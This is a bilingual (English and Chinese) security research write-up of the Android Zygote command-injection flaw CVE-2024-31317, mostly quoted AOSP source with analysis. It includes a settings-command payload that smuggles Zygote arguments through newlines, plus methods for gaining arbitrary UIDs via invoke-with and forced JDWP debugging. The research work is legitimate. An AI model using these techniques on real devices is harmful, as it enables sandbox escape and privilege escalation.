    // If the application calls System.exit(), terminate the process
    // immediately without running any shutdown hooks.  It is not possible to
    // shutdown an Android application gracefully.  Among other things, the
    // Android runtime shutdown hooks close the Binder driver, which can cause
    // leftover running threads to crash before the process actually exits.
    nativeSetExitWithoutCleanup(true);

    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

    final Arguments args = new Arguments(argv);

    // The end of of the RuntimeInit event (see #zygoteInit).
    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

    // Remaining arguments are passed to the start class's static main
    return findStaticMain(args.startClass, args.startArgs, classLoader);
}

It seems that by leveraging WrapperInit, we can control the classLoader to inject our custom classes, potentially achieving the desired effect of code injection and execution.

private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
    if (RuntimeInit.DEBUG) {
        Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
    }

    // Check whether the first argument is a "-cp" in argv, and assume the next argument is the
    // classpath. If found, create a PathClassLoader and use it for applicationInit.
    ClassLoader classLoader = null;
    if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
        classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

        // Install this classloader as the context classloader, too.
        Thread.currentThread().setContextClassLoader(classLoader);

        // Remove the classpath from the arguments.
        String removedArgs[] = new String[argv.length - 2];
        System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
        argv = removedArgs;
    }
    // Perform the same initialization that would happen after the Zygote forks.
    Zygote.nativePreApplicationInit();
    return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
            argv, classLoader);
}

The specific exploitation method is left for interested readers to further explore.

Conclusion

This article analyzed the cause of the CVE-2024-31317 vulnerability and shared our research and exploitation methods. This vulnerability has effects similar to the Mystique vulnerability we discovered years ago, though with its own strengths and weaknesses. Through this vulnerability, we can obtain arbitrary UID privileges, which is akin to bypassing the Android sandbox and gaining access to any app’s permissions.

Acknowledgments

Thanks to Tom Hebb from the Meta X Team for the technical discussions—Tom is the discoverer of this vulnerability, and I had the pleasure of meeting him at the Meta Researcher Conference.

References

  • https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
  • https://blog.flanker017.me/adb-backupagent-%e6%8f%90%e6%9d%83%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90-%ef%bc%88cve-2014-7953%ef%bc%89/
  • https://dawnslab.jd.com/mystique-paper/mystique-paper.pdf

魔形女再袭?最新Android通杀漏洞CVE-2024-31317分析与利用研究

摘要

本文分析了CVE-2024-31317这个Android用户态通杀漏洞的起因,并分享了笔者的利用研究和方法。通过这个漏洞,我们可以获取任意uid的权限,近似于突破Android沙箱获取任意app的权限。这个漏洞具有类似于笔者当年发现的魔形女漏洞(黑客奥斯卡Pwnie Award最佳提权漏洞)的效果,但又各有千秋。

漏洞缘起

数月之前,Meta X Red Team发表了两篇非常有意思的,可以用来提权到任意UID的Android Framework漏洞,其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp,但CVE-2024-31317仍然没有公开的详细分析和exp,虽然后者比前者有着更大的威力(能获取system-uid权限)。这个漏洞也颇为令人惊讶,因为这已经是2024年了,我们居然还能在Android的心脏组件(Zygote)中发现命令注入。

这让我们想起了当年我们所发现的mystique漏洞,这个漏洞同样能让攻击者获得任意uid的权限。需要注意的是,两个漏洞都有一定的前提条件,例如CVE-2024-31317需要WRITE_SECURE_SETTINGS 权限。虽然这个权限获取难度并不大,但理论上仍需要配合一个额外的漏洞,因为普通的 untrusted_app 无法获得该权限(但似乎在一些品牌的手机上普通应用似乎有一些方法可以直接获得该权限)。ADB shell原生具有这个权限,同样一些特殊预置签名应用也具有这个权限。

但这个逻辑漏洞的利用效果和普适性,仍然足以让我们觉得,这是继魔形女之后近年来最有价值的Android用户态漏洞。Meta的原文对该漏洞成因有非常好的分析,但对于利用过程和方式缺少关键细节,本文将基于我们的分析和理解对该漏洞进行详细的研究,并介绍完整的及一些新的利用方式,据我们所知,尚属首次公开。

附利用效果图,成功在获得system权限。目前厂商均已修复: demo

Detailed Analysis of this Vulnerability

虽然这个漏洞的核心是命令注入,但利用这个漏洞需要对Android系统有相当的了解,特别是Android的基石——Zygote fork机制是如何工作的,以及它和system_server如何交互。

Zygote与system_server的bootstrap流程

每个Android人员都知道Zygote会fork出Android中Java世界的所有进程,而对于system_server,它也不例外,如下图所示。

zygoteandsystemserver

Zygote进程实际上从system_server中接收指令,并根据指令孵化出子进程。这是通过ZygoteServer.java中的poll机制来实现的:

 Runnable runSelectLoop(String abiList) {
 //...
 if (pollIndex == 0) {
                        // Zygote server socket
                        ZygoteConnection newPeer = acceptCommandPeer(abiList);
                        peers.add(newPeer);
                        socketFDs.add(newPeer.getFileDescriptor());
                    } else if (pollIndex < usapPoolEventFDIndex) {
                        // Session socket accepted from the Zygote server socket

                        try {
                            ZygoteConnection connection = peers.get(pollIndex);
                            boolean multipleForksOK = !isUsapPoolEnabled()
                                    && ZygoteHooks.isIndefiniteThreadSuspensionSafe();
                            final Runnable command =
                                    connection.processCommand(this, multipleForksOK);

                            // TODO (chriswailes): Is this extra check necessary?
                            if (mIsForkChild) {
                                // We're in the child. We should always have a command to run at
                                // this stage if processCommand hasn't called "exec".
                                if (command == null) {
                                    throw new IllegalStateException("command == null");
                                }

                                return command;
                            } else {
                                // We're in the server - we should never have any commands to run.
                                if (command != null) {
                                    throw new IllegalStateException("command != null");
                                }

                                // We don't know whether the remote side of the socket was closed or
                                // not until we attempt to read from it from processCommand. This
                                // shows up as a regular POLLIN event in our regular processing
                                // loop.
                                if (connection.isClosedByPeer()) {
                                    connection.closeSocket();
                                    peers.remove(pollIndex);
                                    socketFDs.remove(pollIndex);
                                }
                            }
                        }
                        
                        //...
      Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
        ZygoteArguments parsedArgs;

随后进入到 processCommand 函数,这个函数是用于解析command buffer并提取出参数的核心函数。具体的格式在ZygoteArguments 中定义,我们接下来的工作很多就是需要围绕这个格式展开。

    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
  try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
            while (true) {
                try {
                    parsedArgs = ZygoteArguments.getInstance(argBuffer);
                    // Keep argBuffer around, since we need it to fork.
                } catch (IOException ex) {
                    throw new IllegalStateException("IOException on command socket", ex);
                }
               //...
                if (parsedArgs.mBootCompleted) {
                    handleBootCompleted();
                    return null;
                }

                if (parsedArgs.mAbiListQuery) {
                    handleAbiListQuery();
                    return null;
                }

                if (parsedArgs.mPidQuery) {
                    handlePidQuery();
                    return null;
                }
//...
                if (parsedArgs.mInvokeWith != null) {
                    try {
                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
                        childPipeFd = pipeFds[1];
                        serverPipeFd = pipeFds[0];
                        Os.fcntlInt(childPipeFd, F_SETFD, 0);
                        fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
                    } catch (ErrnoException errnoEx) {
                        throw new IllegalStateException("Unable to set up pipe for invoke-with",
                                errnoEx);
                    }
                }
//...
        if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
                    // Continue using old code for now. TODO: Handle these cases in the other path.
                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
                            parsedArgs.mBindMountAppStorageDirs,
                            parsedArgs.mBindMountSyspropOverrides);

                    try {
                        if (pid == 0) {
                            // in child
                            zygoteServer.setForkChild();

                            zygoteServer.closeServerSocket();
                            IoUtils.closeQuietly(serverPipeFd);
                            serverPipeFd = null;

                            return handleChildProc(parsedArgs, childPipeFd,
                                    parsedArgs.mStartChildZygote);
                        } else {
                            // In the parent. A pid < 0 indicates a failure and will be handled in
                            // handleParentProc.
                            IoUtils.closeQuietly(childPipeFd);
                            childPipeFd = null;
                            handleParentProc(pid, serverPipeFd);
                            return null;
                        }
                    } finally {
                        IoUtils.closeQuietly(childPipeFd);
                        IoUtils.closeQuietly(serverPipeFd);
                    }
                } else {
                    ZygoteHooks.preFork();
                    Runnable result = Zygote.forkSimpleApps(argBuffer,
                            zygoteServer.getZygoteSocketFileDescriptor(),
                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
                    if (result == null) {
                        // parent; we finished some number of forks. Result is Boolean.
                        // We already did the equivalent of handleParentProc().
                        ZygoteHooks.postForkCommon();
                        // argBuffer contains a command not understood by forksimpleApps.
                        continue;
                    } else {
                        // child; result is a Runnable.
                        zygoteServer.setForkChild();
                        return result;
                    }
                }
            }
        }
        //...
        if (parsedArgs.mApiDenylistExemptions != null) {
            return handleApiDenylistExemptions(zygoteServer,
                    parsedArgs.mApiDenylistExemptions);
      }

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
                                             @NonNull FileDescriptor zygoteSocket,
                                             int expectedUid,
                                             int minUid,
                                             @Nullable String firstNiceName) {
        boolean in_child =
                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
        if (in_child) {
            return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
        } else {
            return null;
        }
  }

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
               String firstNiceName) {
try {
    return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
            expectedUid, minUid, firstNiceName);

这是Zygote处理命令的最上层入口点,但魔鬼隐藏在细节中。在Android 12之后,Google在ZygoteCommandBuffer中实现了一个快速路径的C++解析器,即com_android_internal_os_ZygoteCommandBuffer.cpp。主要思想是,Zygote在processCommand中的外部循环之外,在nativeForkRepeatly中维护一个新的内部循环,用于提升启动app的效率。

nativeForkRepeatly同样在Command Socket上进行轮询,并重复处理从字节流解析出的称为 SimpleFork 的格式。这种SimpleFork实际上是只包含runtime-argssetuidsetgid等的zygote参数。读取过程中其他参数的发现会导致跳出此循环并回到processCommand中的外部循环,新的ZygoteCommandBuffer将被构建,循环重新开始,未识别的命令将被再次在外部循环中读取和解析。

System_server可能会向zygote发送各种命令,不仅是启动进程的命令,还包括修改一些全局环境值的命令,例如包含该漏洞代码的denylistexemptions,稍后我们会进一步详细说明。

而回到system_server本身,它的启动过程并不复杂,是由Zygote中的硬编码参数启动的——显然是因为,Zygote无法接收尚未存在的进程发来的命令,这是一个“先有鸡还是先有蛋”的问题,解决方法就是通过硬编码来启动system_server。

The Zygote command format

Zygote所接受的命令参数是一种类似于Length-Value对的格式,通过换行符进行分割,如下所示

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

协议的解析过程逻辑上大概是首先读取行数,随后根据行数一行行读取出每一行的内容。但是在Android12之后,由于一些buffer预读取的优化细节,极大地影响了这个exploit的方式,也就导致了本文的篇幅和漏洞利用难度的大幅增加。

The vulnerability itself

从前面的分析来看,我们可以发现Zygote只是盲目地去解析它从system_server接收到的buffer – 而不做额外的二次校验。这就给命令注入留下了空间:如果我们能够通过某种方式操纵system_server在command socket中写入攻击者可控的内容。

denylistexemptions 就提供了这种方式

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

无论hidden_api_blacklist_exemptions 因为什么原因被修改后,ContentObserver的callback会被触发,新写入的值会被读取并在解析后(主要根据逗号进行string split)直接写入到zygote command socket中。一个典型的命令注入。

利用socket特性实现全版本利用

Android12及以上版本所带来的困难

攻击者最初的想法是直接注入触发进程启动的新命令,如下所示:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

在Android11或者更早的版本这种payload是简单有效的,因为在这些版本中,Zygote是通过Java的 readLine 实现直接读取每一行,没有其他buffer实现影响。而在Android12中,情况变得非常复杂,命令解析现在由NativeCommandBuffer完成,这引入了一个核心区别,即该解析器在解析一次内容之后,对于未识别的trailing内容,它将丢弃缓冲区中的所有内容并退出,而不是留作下一次解析。这意味着命令注入的内容会被直接丢弃!

NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
            JNIEnv* env,
            jclass,
            jlong j_buffer,
            jint zygote_socket_fd,
            jint expected_uid,
            jint minUid,
            jstring managed_nice_name) {

 //...
  bool first_time = true;
  do {
    if (credentials.uid != static_cast<uid_t>(expected_uid)) {
      return JNI_FALSE;
    }
    n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
    n_buffer->reset();
    int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
                              /*args_known=*/ true, /*is_priority_fork=*/ true,
                              /*purge=*/ first_time);
    if (pid == 0) {
      return JNI_TRUE;
    }
//...
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();
      //...
      if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
        if (n_buffer->getCount(fail_fn_z) != 0) {
          break;
        }  // else disconnected;
      } else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
        fail_fn_z(
            CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
      }
      // We've now seen either a disconnect or connect request.
      close(session_socket);
   //...
    }
    first_time = false;
  } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
  ALOGW("forkRepeatedly terminated due to non-simple command");
  n_buffer->logState();
  n_buffer->reset();
  return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
    char* result = mBuffer + mNext;
    while (true) {
      // We have scanned up to, but not including mNext for this line's newline.
      if (mNext == mEnd) {
        if (mEnd == MAX_COMMAND_BYTES) {
          return {};
        }
        if (mFd == -1) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
        }
        ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
        if (nread <= 0) {
          if (nread == 0) {
            return {};
          }
          fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
        } else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
          // This is pessimistic by one character, but close enough.
          fail_fn("ZygoteCommandBuffer overflowed: command too long");
        }
        mEnd += nread;
      }
      // UTF-8 does not allow newline to occur as part of a multibyte character.
      char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
      if (nl == nullptr) {
        mNext = mEnd;
      } else {
        mNext = nl - mBuffer + 1;
        if (--mLinesLeft < 0) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
        }
        return std::make_pair(result, nl);
      }
    }
  }

nativeForkRepeatedly 函数的流程大致如下:在socket初始化设置完成后, n_buffer->readLines 会预先读取和缓冲所有的行 – 也就是目前 socket 中read所能够读取到的所有内容。接下来的reset 将buffer的当前读取指向移回到初始位置 – n_buffer 的随后操作会从头再解析这个buffer – 而不再重新触发socket read。一个子进程在被fork出之后,它会消费这个buffer来提取出自己的uid和gid并自行设置。父进程则会继续执行,并进入下面的for循环。这个for循环会持续监听对应socket的fd,并接收和重建传入链接(如果意外中断的话)

nativeForkRepeatedly

    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();

但这就是事情开始变得复杂和tricky的地方. n_buffer->clear(); 会丢弃掉当前buffer中所有的剩余内容(buffer大小在Android12(和鸿蒙4)上是12200,在之后的版本是32768)。这就会导致之前说的问题,注入的内容实质上会被直接丢弃掉,而不会进入下一轮解析。

所以这里的核心利用方法是如何将注入的内容拆分到不同的read中被读取。这理论上依赖于Linux内核的调度器,一般来说在对端拆分到不同的write,并且让他们间隔一定的时间绝大部分情况下可以达到这个目标。我们再回过头来看system_server中触发写入command socket的漏洞函数:

private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

mZygoteOutputWriter, 继承自 BufferedWriter, 其buffer大小是8192.

    public void write(int c) throws IOException {
        synchronized (lock) {
            ensureOpen();
            if (nextChar >= nChars)
                flushBuffer();
            cb[nextChar++] = (char) c;
        }
    }

这意味着只要没有显式地调用flush,对socket的write只会在这个bufferedWriter中积攒的内容到达defaultCharBufferSize 时触发。

需要注意的是,分离的write并不一定保证对端的分离read,因为内核可能会将socket的操作进行合并。Meta的作者提出了一种方法:通过大量的逗号来延长for循环中的消耗时间,来增加第一次socket write和第二次socket write(flush)中的时间间隔。根据不同机型的配置,comma的数量会需要调整,但注意整体长度不能超过CommandBuffer的最大大小 – 否则会引起Zygote abort。我们添加的commas会被string split解析为空行的array,并会被system_server首先写入一个对应的count,也就是下图的3001。但在zygote解析的过程,我们需要保证这个count在注入前后都需要和对应的行是匹配的。

所以最终的payload布局如下图所示:

payload

将exp进行完整组合

我们希望第一块布局的内容,也就是 13 之前的内容(下图中黄色部分)需要能够刚好触发BufferedWriter的8192限制,使其进行一次flush,最终触发socket的write。

payload1

Zygote在接收到这次请求时,应处于 com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly 中,刚处理完上一次 simpleFork ,block在 n_buffer→getCount(该语句的作用是从buffer中读取linecount)。在此次请求到来之后,getline会将socket中的内容全部读取到buffer中(注意不是一行一行读取),读取到 3001(line count),随后检测到不是 isSimpleForkCommand,退出 nativeForkRepeatedly 函数,返回到ZygoteConnection中processCommand函数。

ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
        zygoteServer.getZygoteSocketFileDescriptor(),
        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
    // parent; we finished some number of forks. Result is Boolean.
    // We already did the equivalent of handleParentProc().
    ZygoteHooks.postForkCommon();
    // argBuffer contains a command not understood by forksimpleApps.
    continue;

整体流程如下所示: exphandle1 这一整片8192大小的内容随后被传入到 ZygoteInit.setApiDenylistExemptions 中,后续与本漏洞已无关系。

注意在此时, 我们从zygote侧回到system_server侧,system_server仍处于maybeSetApiDenylistExemptions 函数的for循环中,刚刚被Zygote处理的8192块是这个函数的for循环第一次的write:

try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();

紧接的writer.write将写入核心的命令注入payload,随后这个for循环将继续循环3000(抑或其他指定的linecount-1)次,这样用以保证不会出现连续的socket write被内核merge为一次,导致在Zygote的read中超出了buffer大小限制后Zygote abort。

这些循环因为没有超出BufferedWriter的8192限制,在for循环中不会触发真正的socket write,而只是在flush时触发socket write。而在Zygote侧看来,他会在 ZygoteArguments.getInstance 中继续解析这个新的buffer,它目前所处理的即为下图中的绿色部分:

payload2

这个绿色部分会被一次read全部读取进buffer中,首先被处理的是13这个line count,随后就是被注入的攻击者完整可控的Zygote参数。

这次的 ZygoteArguments 只会包含这个buffer中的13行,而本次buffer中后面的内容(空行),因为会进入下一次的 ZygoteArguments.getInstance,在新建 ZygoteArguments 时,由于 ZygoteCommandBuffer 会再进行一次read,实质上会被忽略掉。

在控制了Zygote参数后,我们应当做什么?

通过以上繁复的工作后,我们成功达到了利用该漏洞稳定控制Zygote参数的目的。但我们仍然没有回答一个关键性的问题:控制了这些参数,能够用来做什么,或者如何用来提权?

这个问题乍听起来显而易见,但实际上仍有学问。

尝试#1:能否控制Zygote以某个uid来执行指定的包名?

如上所述,在看到Zygote示例参数时,这可能是我们的第一个想法,能否通过控制package-name和uid来达到这个目的?

很遗憾的是,实际上package-name对攻击者,或者对整个代码加载执行过程都没有什么意义。让我们回忆下Android App的加载流程: app-launch

并继续来看ApplicationThread的相关代码

   public static void main(String[] args) {
    //...
        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

可以看到,实际上apk的代码加载过程依赖于 startSeq ,这个参数在ActivityManagerService中维护有ApplicationRecord与startSeq的映射,会记录对应的loadApk,也就是具体的Apk文件与路径。

那我们退一步:

方法#1:能否控制以某个uid执行可控代码?

答案是肯定的。通过分析 ZygoteArguments 中的参数,我们发现 invokeWith 可以达到这个目的

public static void execApplication(String invokeWith, String niceName,
        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
        String[] args) {
    StringBuilder command = new StringBuilder(invokeWith);

    final String appProcess;
    if (VMRuntime.is64BitInstructionSet(instructionSet)) {
        appProcess = "/system/bin/app_process64";
    } else {
        appProcess = "/system/bin/app_process32";
    }
    command.append(' ');
    command.append(appProcess);

    // Generate bare minimum of debug information to be able to backtrace through JITed code.
    // We assume that if the invoke wrapper is used, backtraces are desirable:
    //  * The wrap.sh script can only be used by debuggable apps, which would enable this flag
    //    without the script anyway (the fork-zygote path).  So this makes the two consistent.
    //  * The wrap.* property can only be used on userdebug builds and is likely to be used by
    //    developers (e.g. enable debug-malloc), in which case backtraces are also useful.
    command.append(" -Xcompiler-option --generate-mini-debug-info");

    command.append(" /system/bin --application");
    if (niceName != null) {
        command.append(" '--nice-name=").append(niceName).append("'");
    }
    command.append(" com.android.internal.os.WrapperInit ");
    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
    command.append(' ');
    command.append(targetSdkVersion);
    Zygote.appendQuotedShellArgs(command, args);
    preserveCapabilities();
    Zygote.execShell(command.toString());
}

这段代码即为将 mInvokeWith 与后续参数拼接后,通过 execShell 进行执行。我们只需要将这个参数指向一个攻击者可控的elf或者shell脚本即可,且需要是Zygote可读取的。

然而,我们还需要关注SELinux和AppData Directory权限的限制,即使攻击者将一个私有目录中的文件设为全局可读可执行,它也无法被Zygote所访问和执行到。为了解决这个问题,我们参照我们在魔形女漏洞利用中的技巧:使用app-lib目录中的文件。

然而,这个利用方式仍存在一个问题:拿到一个uid的shell并不等于直接进程内代码执行,如果我们想进一步进行hook、代码注入的话,这种利用方式会需要一个额外的代码覆盖执行跳板,但并不是每个app都有此特性,且Android14进一步引入了DCL限制

那么这个目标是否可以进一步实现?

方法#2:借用jdwp flag

我们在此提出了一个新的思路: ZygoteArgumentsruntime-flags 字段,实际上可以用来开启一个application的debuggable属性

static void applyDebuggerSystemProperty(ZygoteArguments args) {
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
        // Also enable ptrace when JDWP is enabled for consistency with
        // before persist.debug.ptrace.enabled existed.
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
}

借用我们在尝试#1中的分析,我们可以通过控制一个匹配system_server中已有记录的startSeq,来完成一次完整的app启动流程,但这个app进程的flags已经被我们修改为开启了debuggable属性,攻击者可以进一步使用jdb来获取进程内执行权限。

但这带来了一个问题,如何预测 startSeq ? ActivityManagerService对这个参数有着严格的校验

private void attachApplicationLocked(@NonNull IApplicationThread thread,
        int pid, int callingUid, long startSeq) {
    // Find the application record that is being attached...  either via
    // the pid if we are running in multiple processes, or just pull the
    // next app record if we are emulating process with anonymous threads.
    ProcessRecord app;
    long startTime = SystemClock.uptimeMillis();
    long bindApplicationTimeMillis;
    long bindApplicationTimeNanos;
    if (pid != MY_PID && pid >= 0) {
        synchronized (mPidsSelfLocked) {
            app = mPidsSelfLocked.get(pid);
        }
        if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
            String processName = null;
            final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
            if (pending != null) {
                processName = pending.processName;
            }
            final String msg = "attachApplicationLocked process:" + processName
                    + " startSeq:" + startSeq
                    + " pid:" + pid
                    + " belongs to another existing app:" + app.processName
                    + " startSeq:" + app.getStartSeq();
            Slog.wtf(TAG, msg);
            // SafetyNet logging for b/131105245.
            EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
            // If there is already an app occupying that pid that hasn't been cleaned up
            cleanUpApplicationRecordLocked(app, pid, false, false, -1,
                    true /*replacingPid*/, false /* fromBinderDied */);
            removePidLocked(pid, app);
            app = null;
        }
    } else {
        app = null;
    }

    // It's possible that process called attachApplication before we got a chance to
    // update the internal state.
    if (app == null && startSeq > 0) {
        final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
        if (pending != null && pending.getStartUid() == callingUid
                && pending.getStartSeq() == startSeq
                && mProcessList.handleProcessStartedLocked(pending, pid,
                    pending.isUsingWrapper(), startSeq, true)) {
            app = pending;
        }
    }

    if (app == null) {
        Slog.w(TAG, "No pending application record for pid " + pid
                + " (IApplicationThread " + thread + "); dropping process");
        EventLogTags.writeAmDropProcess(pid);
        if (pid > 0 && pid != MY_PID) {
            killProcessQuiet(pid);
            //TODO: killProcessGroup(app.info.uid, pid);
            // We can't log the app kill info for this process since we don't
            // know who it is, so just skip the logging.
        } else {
            try {
                thread.scheduleExit();
            } catch (Exception e) {
                // Ignore exceptions.
            }
        }
        return;
    }

未找到的、不匹配的startSeq会导致进程被直接杀掉。startSeq整体上是自增的,在每一次app启动的时候+1。 那攻击者如何获取,或者猜测到当前的startSeq?

对于这个问题,我们的解决方案是先行安装一个攻击者控制的应用,通过栈帧搜索找到当前的startSeq:

startseq-search

整体利用流程如下(在11及以前的版本): expbefore11 在Android11上的攻击效果如图:

jdwp-11

